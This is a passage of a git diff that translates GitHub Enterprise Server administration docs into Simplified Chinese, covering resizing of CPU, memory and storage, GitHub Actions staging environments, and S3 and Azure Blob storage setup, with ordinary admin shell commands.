update](/assets/images/enterprise/management-console/update-log.png) +![更新日志](/assets/images/enterprise/management-console/update-log.png) diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md index 884c2a3d88..0b5ecd4f44 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md @@ -1,6 +1,6 @@ --- -title: Increasing CPU or memory resources -intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.' +title: 增加 CPU 或内存资源 +intro: '如果 {% data variables.product.prodname_ghe_server %} 上的操作速度较慢,您可能需要增加 CPU 或内存资源。' redirect_from: - /enterprise/admin/installation/increasing-cpu-or-memory-resources - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources @@ -13,99 +13,104 @@ topics: - Infrastructure - Performance shortTitle: Increase CPU or memory +ms.openlocfilehash: 1ac89694cf374cca1ba47f228f881dc4a5fd405f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331862' --- {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} {% note %} -**Note:** Before increasing CPU or memory resources, put your instance in maintenance mode.{% ifversion ip-exception-list %} You can validate changes by configuring an IP exception list to allow access from specified IP addresses. {% endif %} For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." +注意:在增加 CPU 或内存资源之前,请将实例置于维护模式。{% ifversion ip-exception-list %} 可以通过配置 IP 异常列表验证更改,以允许从指定 IP 地址进行访问。 {% endif %} 有关详细信息,请参阅“[启用和排定维护模式](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 {% endnote %} -## Adding CPU or memory resources for AWS +## 为 AWS 增加 CPU 或内存资源 {% note %} -**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). +注意:要为 AWS 增加 CPU 或内存资源,必须能够熟练使用 AWS 管理控制台或 `aws ec2` 命令行接口管理 EC2 实例。 有关使用所选 AWS 工具执行重设大小的背景和详细信息,请参阅关于[重设 Amazon EBS 支持的实例大小](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html)的 AWS 文档。 {% endnote %} -### Resizing considerations +### 调整的考量因素 -Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations. +在为 {% data variables.product.product_location %} 增加 CPU 或内存资源之前,回顾以下建议。 -- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} -- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. +- 通过 CPU 扩大内存。 {% data reusables.enterprise_installation.increasing-cpus-req %} +- 将弹性 IP 地址分配给实例。 如果未分配弹性 IP,则在重启后您必须调整 {% data variables.product.prodname_ghe_server %} 主机的 DNS A 记录,以反映公共 IP 地址的变更。 在实例重新启动后,如果它启动到 VPC 中,会自动保留弹性 IP (EIP)。 如果实例启动到 EC2-Classic 中,则必须手动重新关联弹性 IP。 -### Supported AWS instance types +### 支持的 AWS 实例类型 -You need to determine the instance type you would like to upgrade to based on CPU/memory specifications. +您需要根据 CPU/内存规范确定升级的目标实例类型。 {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -### Resizing for AWS +### 针对 AWS 进行调整 {% note %} -**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address. +注意:对于启动到 EC2-Classic 中的实例,请记下与实例关联的弹性 IP 地址以及实例的 ID。 重启实例后,请重新关联弹性 IP 地址。 {% endnote %} -It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must: +无法将 CPU 或内存资源添加到现有的 AWS/EC2 实例。 相反,您必须执行以下操作: -1. Stop the instance. -2. Change the instance type. -3. Start the instance. +1. 停止实例。 +2. 更改实例类型。 +3. 启动实例。 {% data reusables.enterprise_installation.configuration-recognized %} -## Adding CPU or memory resources on Microsoft Azure +## 在 Microsoft Azure 上添加 CPU 或内存资源 {% note %} -**Note:** To add CPU or memory resources in Microsoft Azure, you must be familiar with using either the Azure Portal, Azure CLI or Azure PowerShell to manage VM instances. For background and details on using the Azure tools of your choice to perform the resize, please refer to the Azure documentation on [changing the size of a virtual machine](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm). +注意:要在 Microsoft Azure 中添加 CPU 或内存资源,必须熟悉使用 Azure Portal、Azure CLI 或 Azure PowerShell 来管理 VM 实例。 有关使用所选 Azure 工具执行重设大小的背景和详细信息,请参阅 Azure 文档中有关[更改虚拟机大小](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm)的内容。 {% endnote %} -### Resizing considerations +### 调整的考量因素 -Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations. +在为 {% data variables.product.product_location %} 增加 CPU 或内存资源之前,回顾以下建议。 -- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} -- **Assign a static IP address to the instance**. If you haven't assigned a static IP to your instance, you might have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in IP address. +- 通过 CPU 扩大内存。 {% data reusables.enterprise_installation.increasing-cpus-req %} +- 为实例分配静态 IP 地址。 如果您尚未为实例分配静态 IP,则可能必须在重新启动后调整 {% data variables.product.prodname_ghe_server %} 主机的 DNS A 记录,以应对 IP 地址的更改。 -### Supported Microsoft Azure instance sizes +### 支持的 Microsoft Azure 实例大小 -You need to determine the instance size you would like to upgrade to based on CPU/memory specifications. +您需要根据 CPU/内存规格确定要升级到的实例大小。 {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.azure-instance-recommendation %} -### Resizing for Microsoft Azure +### 针对 Microsoft Azure 调整大小 -You can scale the VM up by changing the VM size. Changing its size will cause it to be restarted. In some cases, you must deallocate the VM first. This can happen if the new size is not available on the hardware cluster that is currently hosting the VM. +可以通过更改 VM 大小来纵向扩展虚拟机。 更改其大小将会导致它重新启动。 在某些情况下,必须先解除分配 VM。 如果新大小在当前托管 VM 的硬件群集上不可用,则可能会出现这种情况。 -1. Refer to the Azure documentation on [changing the size of a virtual machine](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm) for the required steps. +1. 所需步骤,请参阅 Azure 文档中有关[更改虚拟机大小](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm)的内容。 {% data reusables.enterprise_installation.configuration-recognized %} -## Adding CPU or memory resources for OpenStack KVM +## 为 OpenStack KVM 增加 CPU 或内存资源 -It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must: +无法将 CPU 或内存资源添加到现有的 OpenStack KVM 实例。 相反,您必须执行以下操作: -1. Take a snapshot of the current instance. -2. Stop the instance. -3. Select a new instance flavor that has the desired CPU and/or memory resources. +1. 生成当前实例的快照。 +2. 停止实例。 +3. 选择包含所需 CPU 和/或内存资源的新实例。 -## Adding CPU or memory resources for VMware +## 为 VMWare 增加 CPU 或内存资源 {% data reusables.enterprise_installation.increasing-cpus-req %} -1. Use the vSphere Client to connect to the VMware ESXi host. -2. Shut down {% data variables.location.product_location %}. -3. Select the virtual machine and click **Edit Settings**. -4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed: -![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) -5. To start the virtual machine, click **OK**. +1. 使用 vSphere Client 连接到 VMware ESXi 主机。 +2. 关闭 {% data variables.product.product_location %}。 +3. 选择虚拟机,然后单击“编辑设置”。 +4. 在“硬件”下,根据需要调整分配给虚拟机的 CPU 和/或内存资源:![VMware 设置资源](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) +5. 要启动虚拟机,请单击“确定”。 {% data reusables.enterprise_installation.configuration-recognized %} diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md index e55e7cb44d..cdc34bb1b5 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md @@ -1,6 +1,6 @@ --- -title: Increasing storage capacity -intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.' +title: 增加存储容量 +intro: 您可以增加或更改可供 Git 仓库、数据库、搜索索引和其他持久应用程序数据使用的存储容量。 redirect_from: - /enterprise/admin/installation/increasing-storage-capacity - /enterprise/admin/enterprise-management/increasing-storage-capacity @@ -14,80 +14,86 @@ topics: - Performance - Storage shortTitle: Increase storage capacity +ms.openlocfilehash: b6542e1f43ce4111358de3940c8e46dea2afd5d5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881120' --- {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} -As more users join {% data variables.location.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage. +随着更多的用户加入 {% data variables.product.product_location %},你可能需要调整存储卷大小。 有关调整存储容量的信息,请参阅虚拟平台的相关文档。 -## Requirements and recommendations +## 要求和建议 {% note %} -**Note:** Before resizing any storage volume, put your instance in maintenance mode.{% ifversion ip-exception-list %} You can validate changes by configuring an IP exception list to allow access from specified IP addresses. {% endif %} For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." +注意:在重新调整任何存储卷的大小之前,请将实例置于维护模式。{% ifversion ip-exception-list %} 你可以通过配置 IP 例外列表来验证更改,从而允许从指定 IP 地址进行访问。 {% endif %} 有关详细信息,请参阅“[启用和排定维护模式](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 {% endnote %} -### Minimum requirements +### 最低要求 {% data reusables.enterprise_installation.hardware-rec-table %} -## Increasing the data partition size +## 增加数据分区大小 -1. Resize the existing user volume disk using your virtualization platform's tools. +1. 使用虚拟平台工具调整现有用户卷磁盘大小。 {% data reusables.enterprise_installation.ssh-into-instance %} -3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." -4. Reboot the appliance to detect the new storage allocation: +3. 将设备置于维护模式。 有关详细信息,请参阅“[启用和安排维护模式](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 +4. 重启设备,以检测新存储分配。 ```shell $ sudo reboot ``` -5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem: +5. 运行 `ghe-storage-extend` 命令以扩展 `/data/user` 文件系统: ```shell $ ghe-storage-extend ``` -## Increasing the root partition size using a new appliance +## 使用新设备增加根分区大小 -1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)." -2. Shut down the current appliance: +1. 使用版本与当前设备相同的较大根磁盘来设置新的 {% data variables.product.prodname_ghe_server %} 实例。 有关详细信息,请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)”。 +2. 关闭当前设备: ```shell $ sudo poweroff ``` -3. Detach the data disk from the current appliance using your virtualization platform's tools. -4. Attach the data disk to the new appliance with the larger root disk. +3. 使用虚拟平台工具将数据磁盘从当前设备中拆下。 +4. 将数据磁盘安装到根磁盘较大的新设备上。 -## Increasing the root partition size using an existing appliance +## 使用现有设备增加根分区大小 {% warning %} -**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." +警告:在增加根分区大小之前,你必须将你的实例置于维护模式。 有关详细信息,请参阅“[启用和安排维护模式](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 {% endwarning %} -1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance. -1. Run the `lsblk` command to identify the new disk's device name. -1. Run the `parted` command to format the disk, substituting your device name for `/dev/xvdg`: +1. 将新磁盘连接到 {% data variables.product.prodname_ghe_server %} 设备。 +1. 运行 `lsblk` 命令以标识新磁盘的设备名称。 +1. 运行 `parted` 命令以设置磁盘格式,用你的设备名称取代 `/dev/xvdg`: ```shell $ sudo parted /dev/xvdg mklabel msdos $ sudo parted /dev/xvdg mkpart primary ext4 0% 50% $ sudo parted /dev/xvdg mkpart primary ext4 50% 100% ``` -1. To stop replication, run the `ghe-repl-stop` command. +1. 若要停止复制,请运行 `ghe-repl-stop` 命令。 ```shell $ ghe-repl-stop ``` -1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate. +1. 运行 `ghe-upgrade` 命令,将完整的平台特定包安装到新分区的磁盘中。 通用热补丁升级包(例如 `github-enterprise-2.11.9.hpkg`)无法按预期工作。 在 `ghe-upgrade` 命令完成后,应用程序服务将自动终止。 ```shell $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1 ``` -1. Shut down the appliance: +1. 关闭设备: ```shell $ sudo poweroff ``` -1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk. -1. Start the appliance. -1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." +1. 在虚拟机监控程序中,移除旧的根磁盘,并将新的根磁盘连接到旧的根磁盘的位置。 +1. 启动设备。 +1. 确保系统服务正常运行,然后释放维护模式。 有关详细信息,请参阅“[启用和安排维护模式](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)”。 -If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded. +如果你的设备配置为高可用性或异地复制,请记住在所有节点上的存储升级后,使用 `ghe-repl-start` 在每个副本节点上开始复制。 diff --git a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md index c9f9e75ca4..6456f916de 100644 --- a/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md +++ b/translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md @@ -1,6 +1,6 @@ --- -title: Using a staging environment -intro: 'Learn about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %} staging instances.' +title: 使用暂存环境 +intro: '了解如何将 {% data variables.product.prodname_actions %} 与 {% data variables.product.prodname_ghe_server %} 暂存实例配合使用。' versions: ghes: '*' type: how_to @@ -12,41 +12,46 @@ topics: redirect_from: - /admin/github-actions/using-a-staging-environment shortTitle: Use staging environment +ms.openlocfilehash: 3d244d25aae5a6e21b4db1cd04352343d6650975 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145100006' --- +## 关于 {% data variables.product.product_name %} 的过渡环境 -## About staging environments for {% data variables.product.product_name %} +为 {% data variables.product.product_location %} 提供临时或测试环境会有用,这样您就可以在生产环境中实施更新或新功能之前进行测试。 有关详细信息,请参阅“[设置暂存实例](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)”。 -It can be useful to have a staging or testing environment for {% data variables.location.product_location %}, so that you can test updates or new features before implementing them in your production environment. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." +## 关于 {% data variables.product.prodname_actions %} 的过渡环境 -## Using a staging environment with {% data variables.product.prodname_actions %} +创建过渡环境的常见方法是在过渡环境中将生产 {% data variables.product.product_name %} 实例的备份还原到新虚拟机。 如果使用暂存实例并计划测试 {% data variables.product.prodname_actions %} 功能,则应在过渡环境中查看存储配置。 -A common way to create the staging environment is to restore a backup of your production {% data variables.product.product_name %} instance to a new virtual machine in the staging environment. If you use a staging instance and plan to test {% data variables.product.prodname_actions %} functionality, you should review your storage configuration in the staging environment. +将 {% data variables.product.prodname_ghe_server %} 备份还原到暂存实例后,如果尝试从现有的 {% data variables.product.prodname_actions %} 工作流运行中查看日志或项目,则会看到 `404` 错误,因为暂存存储位置中缺少该数据。 若要解决 `404` 错误,可以从生产中复制要在过渡环境中使用的数据。 -After you restore a {% data variables.product.prodname_ghe_server %} backup to the staging instance, if you try to view logs or artifacts from existing {% data variables.product.prodname_actions %} workflow runs on your staging instance, you will see `404` errors, because this data will be missing from your staging storage location. To work around the `404` errors, you can copy data from production to use in your staging environment. +### 配置存储 -### Configuring storage - -When you set up a staging environment that includes a {% data variables.product.product_name %} instance with {% data variables.product.prodname_actions %} enabled, you must use a different external storage configuration for {% data variables.product.prodname_actions %} storage than your production environment. +在设置包含启用了 {% data variables.product.prodname_actions %} 的 {% data variables.product.product_name %} 实例的过渡环境时,你必须对 {% data variables.product.prodname_actions %} 存储使用与生产环境不同的外部存储配置。 {% warning %} -**Warning**: If you don't change the storage configuration, your staging instance may be able to write to the same external storage that you use for production, which could result in loss of data. +警告:如果不更改存储配置,暂存实例可能会写入用于生产的相同外部存储,这可能会导致数据丢失。 {% endwarning %} -For more information about storage configuration for {% data variables.product.prodname_actions %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)." +有关 {% data variables.product.prodname_actions %} 存储配置的详细信息,请参阅“[{% data variables.product.prodname_ghe_server %} 的 {% data variables.product.prodname_actions %} 入门](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#enabling-github-actions-with-your-storage-provider)”。 -### Copying files from production to staging +### 将文件从生产复制到暂存 -To more accurately mirror your production environment, you can optionally copy files from your production storage location for {% data variables.product.prodname_actions %} to the staging storage location. +若要更准确地映射生产环境,可以选择将文件从 {% data variables.product.prodname_actions %} 的生产存储位置复制到暂存存储位置。 -* For an Azure storage account, you can use [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account). For example: +* 对于 Azure 存储帐户,可以使用 [`azcopy`](https://docs.microsoft.com/en-us/azure/storage/common/storage-use-azcopy-blobs#copy-all-containers-directories-and-blobs-to-another-storage-account)。 例如: ```shell azcopy copy 'https://SOURCE-STORAGE-ACCOUNT-NAME.blob.core.windows.net/SAS-TOKEN' 'https://DESTINATION-STORAGE-ACCOUNT-NAME.blob.core.windows.net/' --recursive ``` -* For Amazon S3 buckets, you can use [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html). For example: +* 对于 Amazon S3 存储桶,可以使用 [`aws s3 sync`](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/sync.html)。 例如: ```shell - aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET + aws s3 sync s3://SOURCE-BUCKET s3://DESTINATION-BUCKET ``` diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md index e8be9e34f9..718aa90c87 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Actions with Amazon S3 storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Amazon S3 storage to store data generated by workflow runs.' +title: 使用 Amazon S3 存储启用 GitHub Actions +intro: '可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %},并使用 Amazon S3 存储来存储工作流运行生成的数据。' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -13,42 +13,42 @@ topics: redirect_from: - /admin/github-actions/enabling-github-actions-with-amazon-s3-storage shortTitle: Amazon S3 storage +ms.openlocfilehash: dd0f4c7135def456212de3355d6f6af17076c40c +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192983' --- - {% data reusables.actions.enterprise-storage-about %} -## Prerequisites +## 先决条件 {% note %} -**Note:** The only {% data variables.product.prodname_dotcom %}-supported S3 storage providers are Amazon S3 and MinIO Gateway for NAS. +注意:唯一支持 {% data variables.product.prodname_dotcom %} 的 S3 存储提供商是 Amazon S3 和适用于 NAS 的 MinIO 网关。 {% data reusables.actions.enterprise-s3-tech-partners %} {% endnote %} -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +在启用 {% data variables.product.prodname_actions %} 之前,请确保您已完成以下步骤: -* Create your Amazon S3 bucket for storing data generated by workflow runs. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +* 创建 Amazon S3 存储桶,用于存储工作流程运行生成的数据。 {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} {% data reusables.actions.enterprise-common-prereqs %} -## Enabling {% data variables.product.prodname_actions %} with Amazon S3 storage +## 使用 Amazon S3 存储启用 {% data variables.product.prodname_actions %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. 在“工件和日志存储”下,选择“Amazon S3”,然后输入存储桶的详细信息: - * **AWS Service URL**: The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2` region, this value should be `https://s3.us-west-2.amazonaws.com`. + * AWS 服务 URL:存储桶的服务 URL。 例如,如果你的 S3 存储桶是在 `us-west-2` 区域中创建的,则此值应为 `https://s3.us-west-2.amazonaws.com`。 - For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. - * **AWS S3 Bucket**: The name of your S3 bucket. - * **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key for your bucket. For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." + 有关详细信息,请参阅 AWS 文档中的“[AWS 服务终结点](https://docs.aws.amazon.com/general/latest/gr/rande.html)”。 + * AWS S3 存储桶:S3 存储桶的名称。 + * AWS S3 访问密钥和 AWS S3 密钥:存储桶的 AWS 访问密钥 ID 和密钥 。 有关管理 AWS 访问密钥的详细信息,请参阅“[AWS 标识和访问管理文档](https://docs.aws.amazon.com/iam/index.html)”。 - ![Radio button for selecting Amazon S3 Storage and fields for S3 configuration](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} + ![用于选择 Amazon S3 存储和 S3 配置字段的单选按钮](/assets/images/enterprise/management-console/actions-aws-s3-storage.png){% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md index b4ab085c79..a13713f7cb 100644 --- a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md +++ b/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Actions with Azure Blob storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use Azure Blob storage to store data generated by workflow runs.' +title: 使用 Azure Blob 存储启用 GitHub Actions +intro: '可以在 {% data variables.product.prodname_ghe_server %} 上启用 {% data variables.product.prodname_actions %},并使用 Azure Blob 存储来存储工作流运行生成的数据。' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -13,37 +13,37 @@ topics: redirect_from: - /admin/github-actions/enabling-github-actions-with-azure-blob-storage shortTitle: Azure Blob storage +ms.openlocfilehash: 856748a3219be7789f0339c43210ca204fe56d91 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192975' --- - {% data reusables.actions.enterprise-storage-about %} -## Prerequisites +## 先决条件 -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +在启用 {% data variables.product.prodname_actions %} 之前,请确保您已完成以下步骤: -* Create your Azure storage account for storing workflow data. {% data variables.product.prodname_actions %} stores its data as block blobs, and two storage account types are supported: - * A **general-purpose** storage account (also known as `general-purpose v1` or `general-purpose v2`) using the **standard** performance tier. +* 创建用于存储工作流数据的 Azure 存储帐户。 {% data variables.product.prodname_actions %} 将其数据存储为块 Blob,支持两种类型的存储帐户: + * 使用“标准”性能层的“常规用途”存储帐户(也称为 `general-purpose v1` 或 `general-purpose v2`) 。 {% warning %} - **Warning:** Using the **premium** performance tier with a general-purpose storage account is not supported. The **standard** performance tier must be selected when creating the storage account, and it cannot be changed later. + **警告:** 不支持将“高级”性能层用于常规用途存储帐户。 在创建存储帐户时必须选择“标准”性能层,并且以后不能更改。 {% endwarning %} - * A **BlockBlobStorage** storage account, which uses the **premium** performance tier. + * BlockBlobStorage 存储帐户,使用“高级”性能层 。 - For more information on Azure storage account types and performance tiers, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts). + 有关 Azure 存储帐户类型和性能层的详细信息,请参阅 [Azure 文档](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview?toc=/azure/storage/blobs/toc.json#types-of-storage-accounts)。 {% data reusables.actions.enterprise-common-prereqs %} -## Enabling {% data variables.product.prodname_actions %} with Azure Blob storage +## 使用 Azure Blob 存储启用 {% data variables.product.prodname_actions %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -1. Under "Artifact & Log Storage", select **Azure Blob Storage**, and enter your Azure storage account's connection string. For more information on getting the connection string for your storage account, see the [Azure documentation](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys). +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. 在“项目和日志存储”下,选择“Azure Blob 存储”,然后输入 Azure 存储帐户的连接字符串。 有关获取存储帐户连接字符串的详细信息,请参阅 [Azure 文档](https://docs.microsoft.com/en-us/azure/storage/common/storage-account-keys-manage?tabs=azure-portal#view-account-access-keys)。 - ![Radio button for selecting Azure Blob Storage and the Connection string field](/assets/images/enterprise/management-console/actions-azure-storage.png) -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} + ![用于选择 Azure Blob 存储和“连接字符串”字段的单选按钮](/assets/images/enterprise/management-console/actions-azure-storage.png){% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-google-cloud-storage.md 